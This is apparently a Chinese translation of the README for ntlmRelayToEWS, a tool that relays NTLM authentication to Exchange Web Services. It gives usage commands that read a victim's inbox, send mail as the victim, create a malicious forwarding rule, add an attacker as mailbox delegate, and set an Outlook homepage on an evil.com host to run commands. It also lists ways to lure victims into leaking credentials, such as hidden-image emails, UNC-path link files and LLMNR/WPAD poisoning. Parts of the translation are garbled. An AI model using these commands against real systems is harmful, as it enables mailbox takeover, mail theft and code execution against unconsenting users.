导语:ntlmRelayToEWS是一种用于在Exchange Web服务(EWS)上执行ntlm中继攻击的工具。它在端口445上生成SMBListener,在端口80上生成HTTPListener,等待来自受害者的传入连接。一旦受害者连接到其中一个侦听器,就会发生NTLM协商并将其中继到
ntlmRelayToEWS是一种用于在Exchange Web服务(EWS)上执行ntlm中继攻击的工具。它在端口445上生成SMBListener,在端口80上生成HTTPListener,等待来自受害者的传入连接。一旦受害者连接到其中一个侦听器,就会发生NTLM协商并将其中继到目标EWS服务器。
显然,这个工具没有实现整个EWS API,只是实现了一些在某些攻击情形中有用的服务。不过将来我可能会增加更多内容进去。下面我们来具体谈谈它。
1.限制和改进
Exchange的版本:
我已经针对Exchange Server 2010 SP2测试了这个工具(这已经非常古老了),因此所有EWS SOAP请求模板以及EWS响应的解析仅针对此版本的Exchange进行了测试。虽然我没有对自己进行过测试,但有些人报告说这个工具也是针对Exchange 2016服务器开箱即用的(即:不对SOAP请求模板进行任何更改)。
如果这些SOAP请求不能在另一个版本的Exchange上运行,那么通过在跟踪模式下使用Microsoft EWS Managed API创建SOAP请求模板以匹配更新版本并捕获正确的SOAP请求(这就是我的方式)非常简单就做到了 !)。
EWS SOAP客户端:
我原本希望使用SOAP客户端来获得一个适当的接口,以便基于Exchange WSDL自动创建所有SOAP请求。我尝试使用'zeep',但是我Uranus灵光一闪,让它使用了Exchange WSDL,因为它需要下载外部名称空间,因此需要互联网连接。此外,对于'zeep',使用自定义传输会话需要Requests.session,这不是我们默认使用HTTPClientRelay的HTTP(S)会话类型:它需要重构HTTPClientRelay以使用'请求'或简单地使用zeep.client_message()创建消息,然后使用我们已经拥有的中继会话发送它。不知道我的这些做法会不会显得我是一个蹩脚的开发者?
2.使用前提
ntlmRelayToEWS需要正确/干净地安装Impacket。因此,你需要按照他们的说明获得Impacket的工作版本。
3.用法
ntlmRelayToEWS能够实现以下攻击,这些攻击都是代表中继用户(受害者)进行的。
请参阅帮助以获取其他信息:./ ntlmRelayToEWS -h。使用–verbose或-v标志获取更多调试信息。
发送邮件
将HTML格式的电子邮件发送到目标列表:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r sendMail -d "[email protected],[email protected]" -s Subject -m sampleMsg.html GetFolder
从预定义文件夹(收件箱,已发送项目,日历,任务)中检索所有项目:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r getFolder -f inbox
forwardRule
创建一个邪恶的转发规则,将受害者的所有传入邮件转发到另一个电子邮件地址:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r forwardRule -d [email protected]
设为首页
通过指定URL定义文件夹主页(通常用于“收件箱”文件夹)。这种由SensePost / Etienne Stalmans发现的技术允许通过伪造特定的HTML页面在受害者的Outlook程序中执行仲裁命令:Outlook主页 – 另一个标尺向量:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r setHomePage -f inbox -u http://path.to.evil.com/evilpage.html
addDelegate
在受害者的主邮箱上设置委托地址。换句话说,受害者将其邮箱的控制权委托给其他人。完成后,这意味着委派的地址可以完全控制受害者的邮箱,只需将其作为Outlook中的附加邮箱打开即可:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r addDelegate -d [email protected]
如何让受害者给你转发他们的凭证?
为了让受害者将他的凭证发送到ntlmRelayToEWS,您可以使用以下任何一种众所周知的方法:
使用HTTP或SMB向受害者发送带有隐藏图片的电子邮件,其中“src”属性指向ntlmRelayToEWS服务器。检查Invoke-SendEmail.ps1脚本以实现此目的。
使用UNC路径创建一个“icon”属性指向ntlmRelayToEWS的链接文件,让受害者使用此链接浏览文件夹
执行LLMNR,NBNS或WPAD中毒(例如,考虑Responder.py或Invoke-Inveigh)以从受害者发送到ntlmRelayToEWS的任何相应的SMB或HTTP流量。